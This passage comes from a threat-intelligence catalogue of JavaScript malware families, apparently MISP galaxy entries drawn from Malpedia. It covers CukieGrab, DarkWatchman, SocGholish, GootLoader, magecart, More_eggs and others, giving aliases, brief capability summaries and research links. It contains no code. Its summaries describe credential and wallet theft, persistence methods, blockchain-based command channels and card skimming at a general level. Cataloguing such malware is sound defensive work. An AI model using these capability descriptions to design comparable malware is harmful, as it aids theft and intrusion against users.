https://malpedia.caad.fkie.fraunhofer.de/details/js.cryptonight
https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec
https://twitter.com/JohnLaTwC/status/983011262731714565

CukieGrab

The tag is: *misp-galaxy:malpedia="CukieGrab"*

CukieGrab is also known as:

- Roblox Trade Assist

Table 2758. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.cukiegrab_crx
http://blog.trendmicro.com/trendlabs-security-intelligence/malicous-chrome-extensions-stealing-roblox-game-currency-sending-cookies-via-discord/

DarkWatchman

Prevailion found this RAT written in JavaScript, which dynamically compiles an accompanying keylogger written in C# and uses a DGA for C&C.

The tag is: *misp-galaxy:malpedia="DarkWatchman"*

DarkWatchman is also known as:

Table 2759. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.darkwatchman
https://www.intrinsec.com/wp-content/uploads/2025/11/INTRINSEC-2025-Threat-Report-Trouble_in_the_air.pdf
https://securityintelligence.com/posts/hive00117-fileless-malware-delivery-eastern-europe/
https://securityintelligence.com/x-force/new-hive0117-phishing-campaign-imitates-conscription-summons-deliver-darkwatchman-malware/
https://www.prevailion.com/darkwatchman-new-fileness-techniques/
https://cyble.com/blog/sophisticated-darkwatchman-rat-spreads-through-phishing-sites/

DNSRat

The tag is: *misp-galaxy:malpedia="DNSRat"*

DNSRat is also known as:

- DNSbot

Table 2760. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.dnsrat
https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

doenerium

Open sourced javascript info stealer, with the capabilities of stealing crypto wallets, password, cookies and modify discord clients https://github.com/doener2323/doenerium

The tag is: *misp-galaxy:malpedia="doenerium"*

doenerium is also known as:

Table 2761. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.doenerium
https://perception-point.io/doenerium-malware/
https://twitter.com/0xToxin/status/1572612089901993985

Enrume

The tag is: *misp-galaxy:malpedia="Enrume"*

Enrume is also known as:

- Ransom32

Table 2762. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.enrume
https://blog.emsisoft.com/de/21077/meet-ransom32-the-first-javascript-ransomware/

EtherRAT

According to sysdig, EtherRAT uses Ethereum smart contracts for C2 URL resolution. It establishes persistence through five independent mechanisms, ensuring survival across reboots and system maintenance (systemd, xdg, cron, bashrc, profile).

The tag is: *misp-galaxy:malpedia="EtherRAT"*

EtherRAT is also known as:

Table 2763. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.ether_rat
https://www.sysdig.com/blog/etherrat-dissected-how-a-react2shell-implant-delivers-5-payloads-through-blockchain-c2
https://www.sysdig.com/blog/etherrat-dprk-uses-novel-ethereum-implant-in-react2shell-attacks

EVILNUM (Javascript)

According proofpoint, EvilNum is a backdoor that can be used for data theft or to load additional payloads. The malware includes multiple interesting components to evade detection and modify infection paths based on identified antivirus software.

The tag is: *misp-galaxy:malpedia="EVILNUM (Javascript)"*

EVILNUM (Javascript) is also known as:

Table 2764. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.evilnum
http://www.pwncode.io/2018/05/javascript-based-bot-using-github-c.html
https://securelist.com/apt-trends-report-q3-2020/99204/
https://github.com/eset/malware-ioc/tree/master/evilnum
https://securelist.com/deathstalker-mercenary-triumvirate/98177/
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/
http://blog.nsfocus.net/agentvxapt-evilnum/
https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw
https://www.zscaler.com/blogs/security-research/return-evilnum-apt-updated-ttps-and-new-targets
https://www.clearskysec.com/wp-content/uploads/2019/08/ClearSky-2019-H1-Cyber-Events-Summary-Report.pdf

FakeUpdateRU

FakeUpdateRU is a malicious JavaScript code injected into compromised websites to deliver further malware using the drive-by download technique. The malicious code displays a copy of the Google Chrome web browser download page and redirects the user to the download of a next-stage payload.

The tag is: *misp-galaxy:malpedia="FakeUpdateRU"*

FakeUpdateRU is also known as:

Table 2765. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdateru
https://blog.sucuri.net/2023/10/fakeupdateru-chrome-update-infection-spreads-trojan-malware.html

FAKEUPDATES

FAKEUPDATES is a downloader written in JavaScript that communicates via HTTP. Supported payload types include executables and JavaScript. It writes the payloads to disk prior to launching them. FAKEUPDATES has led to further compromise via additional malware families that include CHTHONIC, DRIDEX, EMPIRE, KOADIC, DOPPELPAYMER, and AZORULT.

FAKEUPDATES has been heavily used by UNC1543, a financially motivated group.

The tag is: *misp-galaxy:malpedia="FAKEUPDATES"*

FAKEUPDATES is also known as:

- FakeUpdate
- GhoLoader
- SocGholish

Table 2766. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.fakeupdates
https://intel471.com/blog/threat-hunting-case-study-socgholish
https://experience.mandiant.com/trending-evil/p/1
https://trac-labs.com/dont-ghost-the-socgholish-ghostweaver-backdoor-574154dd9983
http://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://www.lac.co.jp/lacwatch/report/20220407_002923.html
https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee
https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/
https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt
https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems
https://www.linkedin.com/pulse/ransomhub-ransomware-deploys-malware-breach-corporate-hb44c/
https://www.trendmicro.com/en_us/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html
https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf
https://twitter.com/MsftSecIntel/status/1522690116979855360
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://blog.sucuri.net/2022/08/socgholish-5-years-of-massive-website-infections.html
https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/

https://www.intrinsec.com/wp-content/uploads/2024/04/TLP-CLEAR-Matanbuchus-Co-Code-Emulation-and-Cybercrime-Infrastructure-Discovery-1.pdf

https://www.intrinsec.com/wp-content/uploads/2024/11/TLP-CLEAR-PROSPERO-Proton66-Uncovering-the-links-between-bulletproof-networks.pdf

https://x.com/GenThreatLabs/status/1840762181668741130

https://expel.io/blog/incident-report-spotting-socgholish-wordpress-injection/

https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf

https://blog.malwarebytes.com/threat-intelligence/2022/06/makemoney-malvertising-campaign-adds-fake-update-template/

https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf

https://www.digitalinformationworld.com/2022/04/threatening-redirect-web-service.html

https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/

https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm

https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf

https://killingthebear.jorgetesta.tech/actors/evil-corp

https://www.mandiant.com/resources/they-come-in-the-night-ransomware-deployment-trends

https://www.recordedfuture.com/research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting

https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/

https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html

https://www.malwarebytes.com/blog/news/2024/12/malicious-ad-distributes-socgholish-malware-to-kaiser-permanente-employees

https://www.proofpoint.com/us/blog/threat-insight/ta569-socgholish-and-beyond

https://www.silentpush.com/blog/socgholish/

https://arcticwolf.com/resources/blog/romcom-utilizing-socgholish-to-deliver-mythic-agent-to-usa-companies-supporting-ukraine/

https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software

https://www.proofpoint.com/us/blog/threat-insight/update-fake-updates-two-new-actors-and-new-mac-malware

https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack

https://www.intrinsec.com/prospero-proton66-tracing-uncovering-the-links-between-bulletproof-networks/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://www.menlosecurity.com/blog/increase-in-attack-socgholish
https://blog.morphisec.com/coinlurker-the-stealer-powering-the-next-generation-of-fake-updates

GlassWorm

According to Koi Security, this malware harvests NPM, GitHub, and Git credentials for supply chain propagation. It targets 49 different cryptocurrency wallet extensions to drain funds. It uses stolen credentials to compromise additional packages and extensions, spreading the worm further. Furthermore, it deploys SOCKS proxy servers, turning developer machines into criminal infrastructure and installs hidden VNC servers for complete remote access.

The tag is: *misp-galaxy:malpedia="GlassWorm"*

GlassWorm is also known as:

Table 2767. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.glassworm
https://www.koi.ai/blog/glassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace

GootLoader

According to PCrisk, they discovered GootLoader malware while examining legitimate but compromised websites (mainly websites managed using WordPress). It was found that GootLoader is used to infect computers with additional malware. Cybercriminals using GootLoader seek to trick users into unknowingly downloading and executing the malware by disguising it as a document or other file.

The tag is: *misp-galaxy:malpedia="GootLoader"*

GootLoader is also known as:

- SLOWPOUR

Table 2768. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.gootloader
https://experience.mandiant.com/trending-evil/p/1
https://labs.sentinelone.com/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://www.kroll.com/en/insights/publications/cyber/deep-dive-gootloader-malware-infection-chain
https://gootloader.wordpress.com/2024/02/14/my-game-retired-latest-changes-to-gootloader/
https://www.reliaquest.com/blog/gootloader-infection-credential-access/
https://blog.nviso.eu/2022/07/20/analysis-of-a-trojanized-jquery-script-gootloader-unleashed/
https://blogs.blackberry.com/en/2022/07/gootloader-from-seo-poisoning-to-multi-stage-downloader
https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab/
https://gootloader.wordpress.com/2024/06/24/gootloaders-new-hideout-revealed-the-malware-hunt-in-wordpress-shadows/
https://socradar.io/new-gootloader-variant-gootbot-changes-the-game-in-malware-tactics/
https://www.googlecloudcommunity.com/gc/Community-Blog/Finding-Malware-Detecting-GOOTLOADER-with-Google-Security/ba-p/823766
https://www.mandiant.com/resources/blog/tracking-evolution-gootloader-operations
https://github.com/struppigel/hedgehog-tools/tree/main/gootloader
https://www.intrinsec.com/wp-content/uploads/2024/11/TLP-CLEAR-PROSPERO-Proton66-Uncovering-the-links-between-bulletproof-networks.pdf
https://www.esentire.com/blog/gootloader-leads-to-cobalt-strike-and-hand-on-keyboard-activity
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf
https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf
https://securityintelligence.com/x-force/gootbot-gootloaders-new-approach-to-post-exploitation/
https://community.riskiq.com/article/f5d5ed38
https://threatresearch.ext.hp.com/tips-for-automating-ioc-extraction-from-gootloader-a-changing-javascript-malware/
https://malasada.tech/gootloader-isnt-broken/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/gootloader-why-your-legal-document-search-may-end-in-misery/
https://gootloader.wordpress.com/2025/03/31/gootloader-returns-malware-hidden-in-google-ads-for-legal-documents/
https://news.sophos.com/en-us/2024/11/06/bengal-cat-lovers-in-australia-get-psspsspssd-in-google-driven-gootloader-campaign/

https://intel471.com/blog/threat-hunting-case-study-tracking-down-gootloader
https://www.trendmicro.com/en_us/research/23/a/gootkit-loader-actively-targets-the-australian-healthcare-indust.html
https://gootloader.wordpress.com/2023/01/05/what-is-gootloader/
https://dinohacks.blogspot.com/2022/06/loading-gootloader.html
https://news.sophos.com/en-us/2021/08/12/gootloaders-mothership-controls-malicious-content/
https://www.huntress.com/blog/gootloader-threat-detection-woff2-obfuscation
https://redcanary.com/blog/gootloader
https://www.esentire.com/web-native-pages/gootloader-unloaded
https://www.intrinsec.com/prospero-proton66-tracing-uncovering-the-links-between-bulletproof-networks/
https://x.com/MsftSecIntel/status/1836456406276342215
https://www.esentire.com/blog/gootloader-striking-with-a-new-infection-technique
https://gootloader.wordpress.com/2023/01/05/gootloader-command-control/
https://thedfirreport.com/2024/02/26/seo-poisoning-to-domain-control-the-gootloader-saga-continues/
https://web.archive.org/web/20230209123148/https://www.cybereason.com/hubfs/THREAT%20ALERT%20GootLoader%20-%20Large%20payload%20leading%20to%20compromise%20(BLOG).pdf

grelos

grelos is a skimmer used for magecart-style attacks.

The tag is: *misp-galaxy:malpedia="grelos"*

grelos is also known as:

Table 2769. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.grelos
https://community.riskiq.com/article/8c4b4a7a
https://www.riskiq.com/blog/labs/magecart-medialand/
https://gist.github.com/krautface/2c017f220f2a24141bdeb70f76e7e745

Griffon

GRIFFON is a lightweight JavaScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. The first module downloaded by the GRIFFON malware to the victim's computer is an information-gathering JavaScript, which allows the cybercriminals to understand the context of the

infected workstation.

The tag is: *misp-galaxy:malpedia="Griffon"*

Griffon is also known as:

- Harpy

Table 2770. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://www.mandiant.com/resources/evolution-of-fin7
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/
https://twitter.com/ItsReallyNick/status/1059898708286939136
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/would-you-exchange-your-security-for-a-gift-card/

inter

The tag is: *misp-galaxy:malpedia="inter"*

inter is also known as:

Table 2771. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.inter
https://www.fortinet.com/blog/threat-research/inter-skimmer-for-all.html

JADESNOW

JADESNOW is a JavaScript-based downloader malware family associated with the threat cluster UNC5342. JADESNOW utilizes EtherHiding to fetch, decrypt, and execute malicious payloads from smart contracts on the BNB Smart Chain and Ethereum. The input data stored in the smart contract may be Base64-encoded and XOR-encrypted. The final payload in the JADESNOW infection chain is usually a more persistent backdoor like INVISIBLEFERRET.JAVASCRIPT.

The tag is: *misp-galaxy:malpedia="JADESNOW"*

JADESNOW is also known as:

- ChainedDown

Table 2772. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.jadesnow
https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding
https://www.aikido.dev/blog/react-native-aria-attack
https://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise
https://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/

Jeniva

The tag is: *misp-galaxy:malpedia="Jeniva"*

Jeniva is also known as:

Table 2773. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.jeniva
https://imp0rtp3.wordpress.com/2021/08/12/tetris/

Jetriz

The tag is: *misp-galaxy:malpedia="Jetriz"*

Jetriz is also known as:

Table 2774. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.jetriz

https://imp0rtp3.wordpress.com/2021/08/12/tetris/

jspRAT

The tag is: *misp-galaxy:malpedia="jspRAT"*

jspRAT is also known as:

Table 2775. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.jsprat
https://www.mandiant.com/resources/fin13-cybercriminal-mexico
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

KongTuke

Kongtuke is a sophisticated TDS system that was initially discovered around May 2024. Making use of compromised CMS Websites, Kongtuke redirects website visitors through a multi-stage infection process ultimately leading to device infection. Initially using fake Update lures, it started to use FakeCaptcha lures at the beginning of 2025. It is likely an initial access service, selling infections to both Ransomware affiliates and other IA vendors like SocGholish.

The tag is: *misp-galaxy:malpedia="KongTuke"*

KongTuke is also known as:

- TAG-124
- js.LandUpdate808

Table 2776. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.kongtuke
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/yet-another-nodejs-backdoor-yanb-a-modern-challenge/
https://go.recordedfuture.com/hubfs/reports/cta-2025-0130.pdf
https://malasada.tech/the-landupdate808-fake-update-variant/

KopiLuwak

The tag is: *misp-galaxy:malpedia="KopiLuwak"*

KopiLuwak is also known as:

Table 2777. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak
https://blog.angelalonso.es/2017/10/analysis-of-malicious-doc-used-by-turla.html
https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack
https://www.mandiant.com/resources/blog/turla-galaxy-opportunity
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/
https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/

LNKR

The LNKR trojan is a malicious browser extension that will monitor the websites visited by the user, looking for pages with administrative privileges such as blog sites or web-based virtual learning environments. When the administrative user posts to the page, the infected extension will execute stored cross-site scripting attack and injects malicious JavaScript into the legitimate HTML of the page. This is used to redirect the second-party visitors of the site to both benign and malicious domains.

The tag is: *misp-galaxy:malpedia="LNKR"*

LNKR is also known as:

Table 2778. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.lnkr
https://github.com/Zenexer/lnkr
https://krebsonsecurity.com/2020/03/the-case-for-limiting-your-browser-extensions/
https://github.com/Zenexer/lnkr/blob/master/recon/extensions/fanagokoaogopceablgmpndejhedkjjb/README.md
https://www.riskiq.com/blog/labs/lnkr-browser-extension/

magecart

Magecart is a malware framework intended to steal credit card information from compromised eCommerce websites. Used in criminal activities, it’s a sophisticated implant built on top of relays, command and controls and anonymizers used to steal eCommerce customers' credit card information. The first stage is typically implemented in Javascript included into a compromised

checkout page. It copies data from "input fields" and send them to a relay which collects credit cards coming from a subset of compromised eCommerces and forwards them to Command and Control servers.

The tag is: *misp-galaxy:malpedia="magecart"*

magecart is also known as:

Table 2779. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart
https://geminiadvisory.io/magecart-google-tag-manager/
https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218
https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/
https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&utm_medium=twitter
https://community.riskiq.com/article/2efc2782
https://blog.sucuri.net/2025/02/google-tag-manager-skimmer-steals-credit-card-info-from-magento-site.html
https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/
https://sansec.io/research/magecart-corona-lockdown
https://go.recordedfuture.com/hubfs/reports/cta-2022-0719.pdf
https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html
https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/
https://community.riskiq.com/article/743ea75b/description
https://medium.com/@0x_b0mb3r/technical-analysis-magecart-skimmer-da099d897e38
https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/
https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html
https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/
https://www.riskiq.com/blog/labs/magecart-group-12-olympics/
https://www.riskiq.com/blog/labs/magecart-nutribullet/

https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/

https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html

https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/

https://medium.com/@louis.o.schuermann/technical-analysis-magecart-skimmer-da099d897e38

https://blog.sucuri.net/2020/04/web-skimmer-with-a-domain-name-generator.html

https://www.reflectiz.com/the-gocgle-web-skimming-campaign/

https://www.zscaler.com/blogs/security-research/black-friday-scams-4-emerging-skimming-attacks-watch-holiday-season

https://sansec.io/research/magento-2-persistent-parasite

https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/injecting-magecart-into-magento-global-config/

https://maxkersten.nl/2020/02/24/closing-in-on-magecart-12/

https://www.goggleheadedhacker.com/blog/post/14

https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/

https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/

https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/

https://blog.sucuri.net/2023/12/40-new-domains-of-magecart-veteran-atmzow-found-in-google-tag-manager.html

https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf

https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/

https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/

https://community.riskiq.com/article/fda1f967

https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf

https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/

https://www.riskiq.com/blog/labs/magecart-medialand/

https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/

https://maxkersten.nl/2020/02/17/following-the-tracks-of-magecart-12/

https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/

https://community.riskiq.com/article/14924d61

https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/
https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html
https://community.riskiq.com/article/30f22a00
https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://twitter.com/MBThreatIntel/status/1416101496022724609
https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/
https://twitter.com/AffableKraut/status/1385030485676544001
https://blog.sucuri.net/2020/04/web-skimmer-with-a-domain-name-generator-follow-up.html
https://geminiadvisory.io/wp-content/uploads/2020/07/Appendix-C-1.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/
https://community.riskiq.com/article/5bea32aa
https://sansec.io/research/north-korea-magecart
https://community.riskiq.com/article/017cf2e6
https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/
https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://twitter.com/AffableKraut/status/1415425132080816133?s=20

megaMedusa

MegaMedusa is NodeJS DDoS Machine Layer-7 provided by RipperSec Team.

The tag is: *misp-galaxy:malpedia="megaMedusa"*

megaMedusa is also known as:

Table 2780. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.mega_medusa
https://www.radware.com/blog/security/2024/08/megamedusa-rippersec-public-web-ddos-attack-tool/

MiniJS

MiniJS is a very simple JavaScript-based first-stage backdoor. The backdoor is probably distributed via spearphishing email. Due to infrastructure overlap, the malware can be attributed to the actor Turla. Comparable JavaScript-based backdoor families of the actor are KopiLuwak and IcedCoffee.

The tag is: *misp-galaxy:malpedia="MiniJS"*

MiniJS is also known as:

Table 2781. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.minijs
https://www.virustotal.com/gui/file/0ce9aadf6a3ffd85d6189590ece148b2f9d69e0ce1c2b8eb61361eb8d0f98571/details

MintsLoader

According to Orange Cyberdefense, MintsLoader is a little-known, multi-stage malware loader that has been used since at least February 2023. It has been observed in widespread distribution campaigns between July and October 2024. The name comes from a very characteristic use of an URL parameter “1.php?s=mintsXX" (with XX being numbers).

MintsLoader primarily delivers malicious RAT or infostealing payloads such as AsyncRAT and Vidar through phishing emails, targeting organizations in Europe (Spain, Italy, Poland, etc.). Written in JavaScript and PowerShell, MintsLoader operates through a multi-step infection process involving several URLs and domains, most of which use a domain generation algorithm (DGA) with .top TLD.

The tag is: *misp-galaxy:malpedia="MintsLoader"*

MintsLoader is also known as:

Table 2782. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.mints_loader
https://www.silentpush.com/blog/socgholish/
https://cybersecurity.att.com/blogs/labs-research/asyncrat-loader-obfuscation-dgas-decoys-and-govno
https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
https://www.esentire.com/blog/mintsloader-stealc-and-boinc-delivery
https://www.recordedfuture.com/research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting
https://www.spamhaus.org/resource-hub/cybercrime/pec-invoice-scam/
https://nikhilh-20.github.io/blog/deob_js_ast/

https://www.youtube.com/watch?v=Ep8STRLKS6I
https://www.youtube.com/watch?v=yqM9ekIRlMA
https://github.com/cert-orangecyberdefense/mintsloader
https://go.recordedfuture.com/hubfs/reports/cta-2025-0130.pdf
https://x.com/CERTCyberdef/status/1849392561024065779

More_eggs

More_eggs is a JavaScript backdoor used by the Cobalt group. It attempts to connect to its C&C server and retrieve tasks to carry out, some of which are: - d&exec = download and execute PE file - gtfo = delete files/startup entries and terminate - more_eggs = download additional/new scripts - more_onion = run new script and terminate current script - more_power = run command shell commands

The tag is: *misp-galaxy:malpedia="More_eggs"*

More_eggs is also known as:

- SKID
- SpicyOmelette

Table 2783. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs
https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/
https://attack.mitre.org/software/S0284/
https://thehackernews.com/2024/06/moreeggs-malware-disguised-as-resumes.html
https://arcticwolf.com/resources/blog/venom-spider-uses-server-side-polymorphism-to-weave-a-web-around-victims/
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
https://www.securonix.com/blog/threat-labs-security-advisory-new-ocxharvester-attack-campaign-leverages-modernized-more_eggs-suite/
https://sec0wn.blogspot.com/2023/03/how-do-you-like-dem-eggs-i-like-mine.html?m=1
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
https://www.proofpoint.com/us/threat-insight/post/fake-jobs-campaigns-delivering-moreeggs-backdoor-fake-job-offers

https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish
https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
http://www.secureworks.com/research/threat-profiles/gold-kingswood
